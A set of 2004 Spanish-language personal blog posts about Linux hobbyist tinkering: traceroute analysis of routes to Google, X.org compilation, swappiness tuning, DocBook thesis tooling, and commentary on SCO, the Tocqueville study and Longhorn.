 Host                                              Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. gw.gio.ingor.upm.es                             0.0%   106    0.2   0.8   0.2   9.7   1.6
 2. router-etsit.etsit.upm.es                       0.0%   106    0.6   1.4   0.6  10.9   1.6
 3. 138.100.254.13                                  0.0%   106    0.9   1.4   0.8  11.7   1.8
 4. GE6-0-0.EB-Madrid0.red.rediris.es               0.0%   106    1.0   4.5   0.9 104.8  14.9
 5. MAD.SO5-1-0.EB-IRIS2.red.rediris.es             0.0%   106    1.1   2.0   0.9  41.2   4.6
 6. RI.SO0-0-0.EB-IRIS5.red.rediris.es              0.0%   106    1.3   4.3   1.1  68.4  11.1
 7. so-0-3-0.ar1.mad1.gblx.net                      0.0%   106    8.5   2.6   1.3  36.8   4.8
 8. so7-0-0-2488M.ar2.LON3.gblx.net                 0.0%   106   34.8  37.1  34.7 105.8   9.5
 9. Level-3public-peering.ge-5-0-0.ar2.LON3.gblx.n  0.0%   106   46.9  43.4  42.9  50.5   1.1
10. ae-0-51.bbr1.London1.Level3.net                 0.0%   106   43.8  43.8  43.0  51.2   1.6
11. so-3-0-0.mp1.London2.Level3.net                 0.0%   106   32.0  34.6  31.9  45.9   2.6
12. as-0-0.bbr2.Washington1.Level3.net              0.0%   106  107.3 109.8 107.2 120.5   2.6
13. ge-9-0.ipcolo2.Washington1.Level3.net           0.0%   106  111.2 110.5 107.9 123.8   2.8
14. unknown.Level3.net                              0.0%   105  111.4 109.0 107.9 118.9   2.2
15. 64.233.174.130                                  0.0%   104  111.9 112.7 108.8 159.9   7.1
    64.233.175.241
16. 64.233.174.126                                  0.0%   103  134.9 113.9 110.2 134.9   2.8
    216.239.48.106
    216.239.48.110
17. 216.239.48.102                                  0.0%   103  135.2 112.7 108.8 135.2   3.6
    216.239.48.94
    216.239.37.99
18. 216.239.37.99                                   0.0%   103  135.6 112.8 108.9 136.1   3.7

Entre las cosas que se pueden observar están la estabilidad de la red una vez fuera de rediris, la desviación estándar de los retardos se mantiene muy baja, especialmente dentro de la red de Level3 que usa google de proveedor, lo cual implica la total ausencia de saturaciones en todo momento.

Luego ya en la red de Google propiamente dicha se observa la redundancia en los nodos, con tres ips en cada salto que aparecen en seguida (es decir se utilizan como balance de carga) y la maquina de destino a veces se alcanza en 17 saltos y a veces en 18, dependiendo de cómo enrute la red en ese momento. La IP de destino casi no cambia, tiene un TTL elevado, del orden de 4 días.

Si probamos con www.google.com la cosa cambia ligeramente:

 1. gw.gio.ingor.upm.es                             0.0%    80    9.9   5.5   0.2  16.1   4.5
 2. router-etsit.etsit.upm.es                       0.0%    80    0.6   1.8   0.6  16.7   2.8
 3. 138.100.254.13                                  0.0%    80   10.8   2.8   0.8  25.9   4.0
 4. GE6-0-0.EB-Madrid0.red.rediris.es               0.0%    80    1.0   4.7   1.0  89.7  12.4
 5. MAD.SO5-1-0.EB-IRIS2.red.rediris.es             0.0%    80    2.5   1.8   0.9   9.6   1.7
 6. RI.SO0-0-0.EB-IRIS5.red.rediris.es              0.0%    80    1.4   2.7   1.1  11.4   2.8
 7. 193.149.1.50                                    0.0%    80    2.0   3.5   1.7  13.3   2.6
 8. p4-0.core01.par02.atlas.cogentco.com            0.0%    80   26.1  27.7  25.9  42.2   3.0
 9. p6-0.core01.fra03.atlas.cogentco.com            0.0%    79   47.5  38.8  36.5  57.5   3.7
10. 217.71.111.38                                   0.0%    79   61.9  57.5  55.7  69.1   2.5
11. 216.239.48.146                                  0.0%    79   64.8  57.6  56.0  67.4   2.3
12. 216.239.49.9                                    0.0%    79   62.3  57.8  55.7  70.8   2.8
    64.233.174.50
13. 216.239.49.117                                  0.0%    79   64.5  56.8  53.6  69.5   2.9
    216.239.48.49
    216.239.49.126
14. 216.239.49.114                                  0.0%    79   54.1  57.2  53.9  65.9   2.5
    216.239.59.104
    216.239.49.121
15. 216.239.59.104                                  0.0%    79   56.2  57.2  55.8  65.9   1.8

Lo primero observar la dramática reducción del tiempo de respuesta, ahora de sólo 56.2 ms de media, frente a los 135 ms de la prueba anterior. El dominio www.google.com está servido por akamai, es realmente el dominio www.google.akadns.net. Según la localización geográfica de la resolución dns se le devuelve la IP de la granja de servidores de google óptima. Así se evita el salto del atlántico que introducía un retardo muy considerable. En este caso la red del proveedor de google que sirve a España (y no se si quizás Europa en general) es Cogent Communications. Dentro de la red de google se mantiene la configuración de redundancia y balanceado vista para el caso de google.com.

Además en este caso el servidor DNS de Akamai tiene un TTL realmente bajo, sólo 5 minutos, para reaccionar rápidamente a problemas de red y poder encaminar el tráfico de google a otros centros en caso necesario con un tiempo de inoperatividad mínimo.

Interesantes tecnologías de red, estas sí realmente avanzadas, no como las comentadas en mi sarcástico post anterior.

Cursos de routing avanzado

De frikis/Hacking — 13/09/2004 @ 15:52

Esta mañana trabajando en mi beca en la ETSIT me ha sorprendido la increíble tecnología del GICO, el departamento encargado de gestionar la red y las comunicaciones de la escuela.

Deben estar investigando nuevas tecnologías de enrutado, tan complejas que yo no las llego a entender. Por ejemplo veamos un traceroute desde mi portátil a los ordenadores de eurielec:

                                       Packets               Pings
 Host                                Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. gw.gio.ingor.upm.es               0.3%   659    1.0   1.3   0.2  12.7   2.8
 2. router-etsit.etsit.upm.es        91.0%   659    1.3   2.2   0.6  12.8   2.9
 3. router-etsit.etsit.upm.es        94.1%   659  3118. 638.0   0.9 3118. 682.6
    cibeles.etsit.upm.es
 4. router-etsit.etsit.upm.es        94.4%    19  832.8 832.8 832.8 832.8   0.0
 5. ???

Obsérvese cómo increíblemente router-etsit se pasa los paquetes a si mismo tres veces (a la tercera va la vencida). Algunas veces el segundo salto pasa por cibeles, el madrilista router de clubes, que debe estar cabreado por que el Atleti y el Barcelona van bien, por que le vuelve a pasar los paquetes a router-etsit.

También podemos admirar el resultado de un ping:

PING ocho (138.100.31.234) 56(84) bytes of data.
64 bytes from ocho (138.100.31.234): icmp_seq=10 ttl=60 time=3.72 ms
64 bytes from ocho (138.100.31.234): icmp_seq=10 ttl=58 time=455 ms (DUP!)
64 bytes from ocho (138.100.31.234): icmp_seq=57 ttl=60 time=3.68 ms
64 bytes from ocho (138.100.31.234): icmp_seq=57 ttl=57 time=702 ms (DUP!)
64 bytes from ocho (138.100.31.234): icmp_seq=57 ttl=53 time=1894 ms (DUP!)
64 bytes from ocho (138.100.31.234): icmp_seq=57 ttl=45 time=3565 ms (DUP!)
64 bytes from ocho (138.100.31.234): icmp_seq=69 ttl=60 time=3.66 ms
64 bytes from ocho (138.100.31.234): icmp_seq=87 ttl=60 time=3.70 ms
64 bytes from ocho (138.100.31.234): icmp_seq=147 ttl=60 time=3.66 ms
64 bytes from ocho (138.100.31.234): icmp_seq=147 ttl=57 time=765 ms (DUP!)
64 bytes from ocho (138.100.31.234): icmp_seq=147 ttl=53 time=1793 ms (DUP!)
64 bytes from ocho (138.100.31.234): icmp_seq=147 ttl=34 time=7122 ms (DUP!)
64 bytes from ocho (138.100.31.234): icmp_seq=166 ttl=60 time=3.81 ms

— ocho ping statistics — 167 packets transmitted, 6 received, +7 duplicates, 96% packet loss, time 166358ms rtt min/avg/max/mdev = 3.665/1255.438/7122.359/1981.475 ms, pipe 8

Lo primero admirar el maravilloso filtrado estocástico realizado, que tira el 96% de los paquetes. Eso, señores, es calidad… Sólo los paquetes más puros y auténticos llegan a su destino, y además el filtrado contribuye a la mejora de la calidad de la red. Tirar más del 90% de los paquetes rebaja mucho el tráfico de la red. Además algunos de los paquetes son repetidos como duplicados varias veces al cabo de unos segundos para mejorar su transmisión, debe ser…

Voy a recomendarles que impartan cursos de routing avanzado. Por que la verdad es que yo ni queriendo conseguiría configurar un router para que pierda esa cantidad de paquetes, haga bucles, y devuelva tantos duplicados.

xarg-x11

De frikis/Hacking — 10/09/2004 @ 18:41

Si, he puesto xarg, no xorg, por que ARGGG! Que infierno he pasado estos días recompilando en mi Gentoo la nueva versión 6.8 de las X de X.org.

Como muchos sabréis antes el proyecto principal de desarrollo de las X era el XFree, pero como el modelo de desarrollo era muy lento, controlado y sin innovación, y luego se cambió la licencia a una mas restrictiva, se hizo un fork del proyecto y muchos desarrolladores hartos se cambiaron al nuevo proyecto.

Las nuevas X traen nuevas extensiones, la mas destacable la composite, que hace que cada ventana sea una “capa” y se puede elegir cómo disponer esas capas. Se puede añadir trasparencias reales, sombras, capturar contenidos reales de ventanas para poner miniaturas en finders o animaciones de los gestores de ventanas, etc… Algo parecido al sistema de Apple con su MacOS X.

Sin embargo compilar el monstruo ese da muchos quebraderos de cabeza. Primero es lento, más de una hora y media compilando, y segundo no está muy probado. He tenido que recompilar muchas veces las X y cosas de gnome hasta encontrar que con gcc 3.4 no se puede compilar X.org con -mpu=pentium4 que si no todas las aplicaciones cascan, y con -mpu=pentium3 no se cuelga con lo básico, pero vuelve a crujir si se cargan las nuevas extensiones.

Tras mucho compilar y mucho calor durante esta mañana, ya por fin vuelvo a tener X chulas, con transparencias y demás. :)

captura de pantalla de X.org 6.8

pfc framework

De frikis/Hacking — 7/09/2004 @ 21:24

Como todo buen petao de Eurielec que se precie, cuando tienes que hacer algo que no te atrae y no te gusta, buscas cualquier excusa para dedicar tiempo a otra cosa.

En mi caso, tras acabar (con compensación) mi última asignatura, la tarea ingrata es escribir el pfc. Y la verdad es que creo que, hasta la fecha, he dedicado más tiempo a decidir formato y otros aspectos técnicos que a escribir en sí (aunque por fin ahora ya estoy consiguiendo meterme un poco en la dinámica de echarle unas horas de escribir todos los días. Ya era hora)

Después de mucho pensar y valorar algunas alternativas (Latex, Docbook, OpenOffice, otros formatos XML, un DTD XML propio, qdk… -Nota: MS Word estaba descartado ya desde hace años-) me decanté por Docbook, por ser XML, estar bastante indicado para documentos técnicos, y ser apropiado (es texto plano) para un sistema de control de versiones.

La única pega de Docbook es que no existen editores decentes hoy en día que lo soporten. Probé el soporte de Docbook de OpenOffice, Conglomerate, uno basado en eclipse, algunos basados en java… pero todos tenían sus pegas o eran incómodos de manejar.

Así que al final, a pelo, en vim, con la ayuda de la extensión dbhelper y del corrector ortográfico.

Para el control de versiones, despues de haberme pegado muchos años con cvs, decidí usar subversion, que es mucho más claro y gratificante. También consideré arch, que últimamente está pegando fuerte, pero su mayor ventaja, los branch locales no los iba a usar ni remotamente. Ahora en subversion cuando hago un commit se revisa que el documento docbook sea correcto (se cancela el commit si no lo es) y genera las versiones HTML y PDF automáticamente. También se sincronizan los datos con el otro ordenador de casa, que llevar el duro trabajo de meses en un portátil, sin raid y sujeto a robos y qué-se-yo-que-percances no es buena idea sin unos buenos backups.

Ahora despues de haber montado todo el tinglado ya me queda poca excusa para no escribir… Bueno… si… contar esto en mi blog. A ver que excusa encuentro mañana ;).

¡Gnome 2.8 muy cerca!

De frikis/Hacking — 1/09/2004 @ 22:37

Ya se ha publicado Gnome 2.8 RC1, de acuerdo con la plafinicación marcada. Si todo va bien, tendremos el 2.8 final para el 15 de Septiembre.

Gnome 2.8 incluye muchas mejoras, las mas notables la incorporación de evolution y la integración de su backend para almacenar todo tipo de información centralizadamente. También se ha integrado VNC para poder acceder a escritorios remotos, se ha avanzado en la gestión del hardware con el gestor de medios que detecta la introducción de CDs y otros dispositivos (que en el futuro será basada en DBUS y HAL) y las Gnome System Tools.

Más que desarrollos y cambios espectaculares se ha avanzado en la estandarización y centralización del sistema.

Yo en mi Gentoo ya llevo tiempo usando las últimas versiones experimentales de Gnome y queda poco nuevo por ver, pero para Gnome 3.0 se prevén avances muy interesantes.

Ahh… y en otro orden de cosas, un documento muy interesantes para los interesados en criptografía, que hayan seguido con interés y preocupación los recientes descubrimientos de colisiones ([1] | [2]) en métodos de hashing comúnmente empleados, como MD5, una versión reducida de SHA-1 y muchos otros. Explica claramente las implicaciones de los descubrimientos, que por fortuna no parece extremadamente peligrosos.

Lockout

De frikis/{ Hacking | Curiosidades } — 26/08/2004 @ 22:16

¡Gran noticia para todos los frikis linuxeros! He encontrado la herramienta ideal para obligarse a trabajar y dejar perder el tiempo con el correo, la web, recompilando kernels, etc.

La herramienta en cuestión se llama Lockout: The Self-imposed, Computer-aided Work Enforcer y son una serie de scripts que cambian la password de root, y filtran las conexiones de mail y web. Al cabo de un tiempo, el script vuelve a poner la password de root antigua y quita los filtrados.

Lo he probado, y aún le falta madurar un poquito… Al cabo de 10 minutos, ya un poco harto, me hice root con sudo para quitarlo.

Algunas cosas que le quedan por mejorar:

  • Quitar a los usuarios del sudo
  • Cambiar el authorized_keys de ssh de la cuenta de root
  • matar todas las bash de root abiertas
  • Capar la mensajería instantánea e IRC (¿acaso hay algo más improductivo?)
  • Capar ssh (para no leer el correo en remoto en euri)
  • Quitar permisos de los directorios de mail locales (anda que no hay correo de listas para revisar)

Seguro que hay mil otras cosas que se me olvidan, pero con eso este script evitaría mejor que perdiera el tiempo… Arg… De hecho, lo único que ha conseguido es hacerme perder el tiempo ;)…

Linux desktop

De frikis/Hacking — 13/08/2004 @ 01:20

Todo el mundo sabe que Linux es un sistema operativo excepcional para servidores, pero para utilizarlo en el escritorio no está tan optimizado.

Normalmente en las máquinas hay que elegir entre responsividad y rendimiento, que no siempre coinciden. La responsividad es la velocidad del sistema que aprecia el usuario, cuando hace alguna acción y espera una reacción. El rendimiento en cambio tiene en cuenta sólo el tiempo que se tarda en hacer una tarea, sin importar si la sensación del usuario es buena o mala.

Para reaccionar rápidamente a los requerimientos del usuario es deseable que el sistema analice las aplicaciones en ejecución y decida cual ejecutar (scheduler) cada poco tiempo, sin embargo eso introduce un overhead que en servidores limita el rendimiento puro. Igualmente el uso de la memoria de disco swap para almacenar programas cargados en memoria que no se están usando, y dejar la memoria para más caché de disco, es muy eficiente para servidores, pero puede exasperar a un usuario que al cambiar de aplicaciones tiene que esperar a que la aplicación sea cargada de la swap. Pero afortunadamente en Linux siempre hay soluciones a todo.

Existen páginas como la de Con Kolivas que reunen todos aquellos parches para el kernel que pueden ayudar a mejorar la responsividad del sistema.

Pero sin necesidad de recompilar y aplicar parches extraños en los kernel 2.6 se pueden configurar una serie de parámetros para controlar el uso de la memoria swap. Especialmente en portátiles, donde los discos duros son lentos y supone mucho gasto de batería el estar continuamente utilizando dicha memoria puede ser de gran utilidad configurar el kernel para que sea más responsivo.

Las variables que hay que modificar son vm.swappiness y vm.vfs_cache_pressure. Por defecto tienen los valores de 60 y 100 respectivamente.

vm.swappiness controla la tendencia del sistema a usar la memoria swap, con 0 no se usa swap y 100 siempre que se pueda. En sistemas de escritorio un valor de 30-35 suele ser lo más apropiado, especialmente en el caso de portátiles o ordenadores con un sólo disco duro y lento, que con particiones de swap en dos discos duros las cosas suelen ir más rápidas. En servidores 66 suele ser un buen valor, y si en un servidores dedicado con buena cantidad de memoria se puede poner 100.

vm.vfs_cache_pressure controla la tendencia a hacer caché de disco. Con valores inferiores aumentan la tendencia a cachear, y superiores la reducen. En función de la memoria del sistema tendremos que modificar el valor por defecto de 100. En servidores con 2 gigas de memoria rara vez se utiliza toda. Un valor de 50 aumentará la tendencia a cachear y empleará mejor la memoria en vez de dejarla en desuso. Si se tiene poca memoria y se va a usar más de desktop, conviene poner valores entre 200-400 para que que no se estén moviendo aplicaciones a swap continuamente.

Para cambiar estos valores hay que modificar el /etc/sysctl.conf y poner los valores:

vm.vfs_cache_pressure = 200
vm.swappiness = 30

Los cambios se realizarán al reiniciar. Para cambiarlos “en caliente", puedes cambiar los valores con el programa sysctl o directamente usando el sistema /proc:

# Con sysctl:
$ sysctl vm.swappiness
vm.swappiness = 60
$ sysctl -w vm.swappiness=30
vm.swappiness = 30
# Con el /proc
$ cat /proc/sys/vm/swappiness
60
$ echo 30 > /proc/sys/vm/swappiness
$ cat /proc/sys/vm/swappiness
30

2 telediarios

De frikis/Hacking — 10/06/2004 @ 23:35

A SCO le quedan dos telediarios, sigue hundiéndose en su miseria.

cotización de SCOX en caída libre

Ahora cotiza por debajo de los 5$ frente a los 20$ que llegó a cotizar tras la demanda de 1.000 millones de dólares a IBM (ahora creo que ya pedían 3.000). El último trimeste ha presentado unas pérdidas escandalosas, con unos ridículos ingresos de 11.000$ de sus licencias para poder usar Linux “legalmente". Parece que la gente ya no traga el anzuelo. Ellos preveían una cifra de 7 números, y la gente ya comenta que debían estar contando los centavos de dólar 11.000,01$.

Mientas en el caso contra IBM, que es en lo que se centran sus directivos (aparte de pegar pelotazos con las acciones cuando cotizaban altas y ahora que van mal cobrar sólo en efectivo), no han sido capaces de probar absolutamente nada, sus ejemplos de código copiado daban risa y sus peticiones de más y más retrasos ya no convencen al tribunal.

Si tienes acciones de SCO, y aún no las has vendido, deshazte de ellas… No van a recuperarse. No.

¿De dónde viene Linux?

De frikis/Hacking — 29/05/2004 @ 20:06

Hace casi 15 días salía a la luz un estudio de la institución Alexis de Tocqueville que hacía reir a la comunidad del Software Libre. Entre otros puntos, el estudio ponía en duda que Linus Torvalds fuera el creador de Linux. Dicha institución recibe al parecer financiación de MS, y ya en el pasado ha cargado contra el Softare Libre tildandolo de menos seguro, acusándolo de los problemas de trabajo en IT en EEUU, de la devaluación del IP, y de facilitar el terrorismo.

Linus respondió a su mensaje admitiendo que, efectivamente, no era el padre de Linux, que sólo había sido la fachada, y que los verdaderos padres de Linux eran el Ratoncito Pérez y Santa Claus (Nótese, para los poco avispados, la nota de humor… todavía el Ratoncito Pérez puede colar, pero a Santa Claus no le veo delante de un ordenador, si sigue repartiendo regalos en un trineo tirado por renos, en vez de una nave espacial con propulsores de iones o algo así de chulo)

El Ratoncito Pérez y Santa Claus

El estudio en cuestión no aportaba ninguna prueba ni detalle para defender las acusaciones, pero según su autor, Ken Brown, entre algunas de sus fuentes estaban extensas entrevistas con Richard Stallman, Dennis Ritchie, y Andrew Tanenbaum.

Poco a poco, esas fuentes han ido expresando su opinión sobre el “estudio". Tanenbaum, escribió un , incluyendo lo que le dijo, y con divertidos comentarios sobre la completa ignorancia de Brown sobre el tema sobre el que estaba escribiendo: La historia de Unix.

The interview got off to a shaky start, roughly paraphrased as follows:
AST: “What’s the Alexis de Tocqueville Institution?”
KB: We do public policy work
AST: A think tank, like the Rand Corporation?
KB: Sort of
AST: What does it do?
KB: Issue reports and books
AST: Who funds it?
KB: We have multiple funding sources
AST: Is SCO one of them? Is this about the SCO lawsuit?
KB: We have multiple funding sources
AST: Is Microsoft one of them?
KB: We have multiple funding sources

He was extremely evasive about why he was there and who was funding him. He just kept saying he was just writing a book about the history of UNIX. I asked him what he thought of Peter Salus’ book, A Quarter Century of UNIX. He’d never heard of it! I mean, if you are writing a book on the history of UNIX and flying 3000 miles to interview some guy about the subject, wouldn’t it make sense to at least go to amazon.com and type “history unix” in the search box, in which case Salus’ book is the first hit? For $28 (and free shipping if you play your cards right) you could learn an awful lot about the material and not get any jet lag. As I soon learned, Brown is not the sharpest knife in the drawer, but I was already suspicious. As a long-time author, I know it makes sense to at least be aware of what the competition is. He didn’t bother.
[…]
“My conclusion is that Ken Brown doesn’t have a clue what he is talking about. I also have grave questions about his methodology. After he talked to me, he prowled the university halls buttonholing random students and asking them questions. Not exactly primary sources”

La respuesta de Raymond es también muy jugosa. Toma una posición “caritativa” juzgando las increibles conclusiones del estudio como un “error honesto", no como un error a propósito, con dinero de por medio.

The excerpts make it clear that this book is going to be a steaming pile of crap, full of anti-factual distortions, scare-mongering, and FUD. I haven’t seen a book quite so egregiously shoddy and dishonest since Michael Bellesisles’s Arming America. The good news is that, unlike Arming America, this book is so obviously bad that it is not likely to persuade anyone of its conclusions who isn’t already zealously on the author’s side.

I began reading the excerpts skeptical of the widespread conspiracy theory that this book is a paid hatchet job commissioned by Microsoft. Now I find this theory much more credible. I can’t imagine how anyone would want their names on a disgrace like this unless they were getting paid extremely well for undergoing the humiliation.

Ahora aparece además un mensaje de un consultor contratado por Tocqueville para realizar una comparación de código entre las primeras versiones de Linux y Minix. Además de no encontrar ningún indicio de copia (normal, no cabía esperar otra cosa, sobre todo cuando Minix es un microkernel, y Linux de tipo monolítico), relata cómo trataban de convencerle de que tenía que ser un error, que tenía que ser una copia. Parece que en Tocqueville tenían las conclusiones claras antes de empezar la investigación, e hicieron oídos sordos a todos aquellos que negaban lo que ellos querían demostrar.

When I called him to ask if he had any questions about the analysis methods or results, and to ask if he would like to have it repeated with other source comparison tools, I was in for a bit of a shock. Apparently, Ken was expecting me to find gobs of copied source code. He spent most of the conversation trying to convince me that I must have made a mistake, since it was clearly impossible for one person to write an OS and ‘code theft’ had to have occured.

En fin, que al mismo ritmo que Linux avanza, los amenazados por su expansión crean más y más FUD. Sólo espero que la siguiente vez lo hagan un poquito mejor, que en este vano intento no dan sino risa…

Innovación

De frikis/Hacking — 8/04/2004 @ 00:24

Una vez más MS avanza un puesto en innovación. Algunos pensarán que estoy loco, pero sin duda MS es una de las compañías que más innova en… Marketing.

Sí, de nuevo una vez más la empresa de Redmond nos muestra como se puede vender como nuevo e innovador algo que ya estaba más que inventado. Me estoy refiriendo a LongHorn, Cuerno Largo.

Revisemos las novedosas tecnologías que incorporará este sistema operativo “LongHorn", que probablemente vaya a ser lanzado “LongLaterThanExpected".

Una de las nuevas tecnologías es .NET y su lenguaje C#, que no es más que una copia de Java con algunas mejoras, como poder compilar distintos lenguajes al mismo bytecode y comunicarse entre ellos. Señores, copiar mejorando no se puede considerar algo novedoso. Si que es cierto que puede ser útil y que Sun no responde como debería a los problemas y peticiones de la comunidad de desarrolladores, pero está claro que es poca la innovación.

Otra de las mejoras que proclaman es el nuevo WinFS, que tampoco tiene mucho de nuevo. Se trata de un sistema de ficheros en el que se abandona en parte la clasificación en carpetas. Ahora todos los ficheros son items de una base de datos, y pueden filtrarse y buscarse de distintas formas, no sólo desde el antiguo punto de vista basado en carpetas. Sin embargo esto no es nuevo del todo. Existen proyectos de Software Libre que investigan estos aspectos (Storage, Medusa, Reiserfs). Sí que es cierto que probablemente será el primer sistema operativo en incorporarlo en masa, pero queda ver como se comportará el sistema, si los usuarios normales sabrán usarlo. La posibilidad de buscar un documento word por el nombre del que lo escribió puede no ser muy útil cuando tienes 100.000 documentos word. Y es que generalmente es mejor la clasificación manual que una automática. Los usuarios expertos ya disponían de sistemas de clasificación avanzados, aunque fuera con carpetas. Los inexpertos no, habrá que ver si el nuevo sistema les soluciona algo.

Finalmente la tercera novedad mundial, el XAML, un lenguaje para describir interfaces de usuario en XML, jugando un poco el papel de HTML, con lo que la programación se limitaría a codificar las funciones que atenderían los eventos de la interfaz XAML. Es una idea excelente, que permite separar programación de la interfaz, pero, naturalmente, no es nueva. Mozilla ya desde hace más de un año tiene su interfaz programada en XUL, que en muchos aspectos es similar a XAML.

Como conclusión se puede ver como MS sí que innova, en marketing. Ninguna otra empresa es capaz de vender ideas antiguas como nuevas tan eficientemente. Ni siquiera como nuevas, más bien futuras, por que para algunas de estas tecnologías habrá que esperar a la siguiente versión de windows, con sus previsibles retrasos.

Afortunadamente la comunidad del Software Libre no se duerme, y ninguna de estas características van a ser una exclusiva de windows en los sistemas operativos de escritorio del futuro. MS ya se ha dado cuenta de ello, y ataca por otros flancos (SCO, FUD, Patentes de Software en Europa). La batalla está servida.

Imsomnio

De frikis/Hacking — 7/04/2004 @ 20:01

Duermo poco, sí, lo sé. Algunos amigos me tildan de “extraterrestre” por ello. :)

Ayer llegué a mi casa sobre las 6am y en vez de acostarme pensé en escribir un artículo en este blog, acerca del imnomnio, por que realmente no tenía ningún sueño pese a la hora que era.

Sin embargo intenté utilizar el programa BloGTK y descubrí con amargura que no funcionaba, pues no listaba las categorías. En vez de abandonar, o simplemente utilizar la interfaz web me puse a investigar el motivo del fallo.

Tras usar ethereal para capturar el tráfico HTTP e investigar qué peticiones XML-RPC realizaba el programa, descubrí que el fallo era por el siempre odioso problema de las codificaciones. El blog enviaba las respuestas como codificación UTF-8, cuando las categorías de mi blog estaban realmente en ISO-8859-1, y el parser XML de BloGTK daba error al encontrarse un carácter no UTF-8. Al final, un pequeño parche para el Movable Type, un apaño rápido, pues habría que comprobar que con UTF-8 no falla y buscar otros sitios donde se produciría este problema (Si el título del blog tiene caracteres extraños, por ejemplo).

A las 8am me acosté finalmente, sin haber escrito el artículo, pero contento por que ya funcionaba el BloGTK.

Es lo malo que tienen los ordenadores. A veces dejan de ser herramientas para convertirse en fuentes de problemas. Especialmente si tienes curiosidad acabas perdiendo ingentes cantidades de tiempo solucionando problemas, ajustando detalles, configurando chorradas. Y lo peor es que nos encanta. :)

¿Y tú? ¿Con qué cosas pierdes el tiempo delante del ordenador?

Diario de sueños de Guillermo Pérez (aka bisho)